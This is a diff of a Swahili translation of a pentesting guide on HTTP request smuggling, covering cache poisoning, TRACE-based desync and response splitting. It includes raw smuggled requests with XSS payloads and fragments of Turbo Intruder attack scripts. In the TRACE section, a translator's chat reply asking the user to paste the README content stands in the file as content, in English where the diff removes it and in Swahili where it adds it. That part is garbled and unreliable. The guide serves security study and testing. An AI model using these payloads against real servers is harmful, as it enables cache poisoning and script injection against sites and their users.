-Iwapo smuggled request hii itaharibu cache entry iliyolengwa kwa static content (mfano, `/someimage.png`), data nyeti za victim kutoka `/private/messages` zinaweza kuhifadhiwa chini ya cache entry ya static content. Kwa hivyo, attacker anaweza kupata data hizi zilizohifadhiwa.
+Ikiwa ombi lililosmuggled litatoza entry ya cache iliyokusudiwa kwa yaliyomo statiki (mfano `/someimage.png`), data nyeti za muathiri kutoka `/private/messages` zinaweza kuhifadhiwa chini ya entry ya cache ya yaliyomo statiki. Kwa hivyo, mshambuliaji anaweza kunyakua data hizi nyeti zilizohifadhiwa.

-### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Kutumia kwa njia mbaya TRACE kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-[**In this post**](https://portswigger.net/research/trace-desync-attack) inapendekeza kwamba ikiwa server imewezeshwa method TRACE inaweza kuwa inawezekana kuitumia kwa HTTP Request Smuggling. Hii ni kwa sababu method hii itarudisha header yoyote iliyotumwa kwa server kama sehemu ya body ya response. Kwa mfano:
+[**Katika chapisho hiki**](https://portswigger.net/research/trace-desync-attack) inapendekeza kwamba ikiwa server ina method TRACE imewezeshwa inaweza kuwa inawezekana kuitumia kwa njia mbaya pamoja na HTTP Request Smuggling. Hii ni kwa sababu method hii itarudisha header yoyote iliyotumwa kwa server kama sehemu ya body ya response. Kwa mfano:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-I don’t see the README.md content yet. Please paste the text (or attach the file) you want translated. I will translate relevant English text to Swahili, preserving all markdown, code, tags, links, paths and hacking-specific terms as you requested.
-
-Do you want the entire file translated or only specific sections?
+Tafadhali bandika hapa maudhui ya faili src/pentesting-web/http-request-smuggling/README.md ambayo ungependa nitafsiri. Nitaitafsiri kwa Kiswahili na kuhifadhi sintaksia ya markdown/HTML, viungo, na tag zilizoelezwa.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@ -697,17 +694,17 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Mfano wa jinsi ya kuutumia vibaya tabia hii ungekuwa **smuggle first a HEAD request**. Ombi hili litajibiwa kwa **headers** tu za ombi la GET (**`Content-Type`** ikiwa miongoni mwao). Na **smuggle immediately after the HEAD a TRACE request**, ambayo itakuwa **reflecting the sent data**.\
-Kwa kuwa jibu la HEAD litakuwa na kichwa `Content-Length`, basi **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** kwenye jibu.\
-Jibu hili litatumwa kwa ombi lijalo juu ya muunganiko, hivyo hili linaweza **used in a cached JS file for example to inject arbitrary JS code**.
+Mfano wa jinsi ya kutumia vibaya tabia hii ni **smuggle first a HEAD request**. Ombi hili litajibiwa kwa **headers** tu za GET request (**`Content-Type`** miongoni mwao). Na smuggle **immediately after the HEAD a TRACE request**, ambayo itakuwa **reflecting the sent dat**a.\
+Kwa kuwa HEAD response itakuwa na `Content-Length` header, **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** katika jibu.\
+Jibu hili litatumwa kwa ombi lijalo kwenye muunganisho, kwa hivyo linaweza kuwa **used in a cached JS file for example to inject arbitrary JS code**.

 ### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Kuendelea kufuata [**this post**](https://portswigger.net/research/trace-desync-attack) kunapendekezwa kama njia nyingine ya kuutumia TRACE method. Kama ilivyotajwa, smuggling a HEAD request and a TRACE request inawezekana **control some reflected data** katika jibu la HEAD request. Urefu wa body ya ombi la HEAD kwa msingi unaonyeshwa katika kichwa `Content-Length` na umeundwa na jibu la ombi la TRACE.
+Ni vyema kuendelea kufuatilia [**this post**](https://portswigger.net/research/trace-desync-attack) inayopendekeza njia nyingine ya kutumia vibaya TRACE method. Kama ilivyoelezwa, kwa smuggling HEAD request na TRACE request inawezekana **control some reflected data** katika jibu la HEAD request. Urefu wa body ya HEAD request kwa ujumla unaonyeshwa katika Content-Length header na umeundwa na response ya TRACE request.

-Kwa hivyo, wazo jipya ni kwamba, kwa kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na valid HTTP response baada ya byte ya mwisho wa Content-Length, ikimruhusu mshambuliaji kudhibiti kabisa request kwa response ijayo (ambayo inaweza kutumika kufanya cache poisoning).
+Kwa hivyo, wazo jipya litakuwa kwamba, kwa kujua Content-Length hii na data iliyo katika TRACE response, inawezekana kufanya TRACE response iunde HTTP response halali baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa request kwa response inayofuata (ambayo inaweza kutumika kufanya cache poisoning).

-Example:
+Mfano:
 ```
 GET / HTTP/1.1
 Host: example.com
@ -726,7 +723,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Itatengeneza majibu haya (kumbuka jinsi jibu la HEAD lina Content-Length, ambalo linafanya jibu la TRACE kuwa sehemu ya mwili wa HEAD, na mara Content-Length ya HEAD inapomaliza valid HTTP response is smuggled):
+Itazalisha majibu haya (angalia jinsi jibu la HEAD lina Content-Length, likifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD, na mara Content-Length ya HEAD inapomalizika jibu halali la HTTP is smuggled):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -747,15 +744,16 @@ Content-Length: 50

 <script>alert(“arbitrary response”)</script>
 ```
-### Kuutumia HTTP Request Smuggling kama silaha kwa HTTP Response Desynchronisation
+### Kuweka silaha HTTP Request Smuggling na HTTP Response Desynchronisation
+
+Je, umegundua udhaifu wa HTTP Request Smuggling na haujui jinsi ya ku-exploit? Jaribu hizi njia nyingine za exploitation:

-Je, umegundua udhaifu wa HTTP Request Smuggling na haujui jinsi ya kulitumia? Jaribu mbinu hizi nyingine za kuitumia:

 {{#ref}}
 ../http-response-smuggling-desync.md
 {{#endref}}

-### Mbinu Nyingine za HTTP Request Smuggling
+### Mbinu nyingine za HTTP Request Smuggling

 - Browser HTTP Request Smuggling (Client Side)

@ -775,7 +773,7 @@ request-smuggling-in-http-2-downgrades.md

 ### CL.TE

-Kutoka kwa [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
+Chanzo [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
 ```python
 def queueRequests(target, wordlists):

@ -816,7 +814,7 @@ table.add(req)
 ```
 ### TE.CL

-Chanzo: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
+Kutoka: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@ -858,16 +856,16 @@ time.sleep(0.05)
 def handleResponse(req, interesting):
 table.add(req)
 ```
-## Zana
+## Vifaa

- HTTP Hacker (Burp BApp Store) – kuonyesha concatenation/framing na tabia ya HTTP ya ngazi‑chini
+- HTTP Hacker (Burp BApp Store) – kuonyesha concatenation/framing na tabia ya HTTP ya ngazi ya chini
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Zana hii ni grammar-based HTTP Fuzzer inayofaa kugundua tofauti za ajabu za request smuggling.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Kifaa hiki ni grammar-based HTTP Fuzzer kinachofaa kugundua utofauti wa ajabu wa request smuggling.

 ## Marejeleo

@ -880,7 +878,7 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Tahadhari kuhusu false false‑positive: jinsi ya kutofautisha HTTP pipelining na request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Tahadhari kwa 'false false‑positive': jinsi ya kutofautisha HTTP pipelining kutoka request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)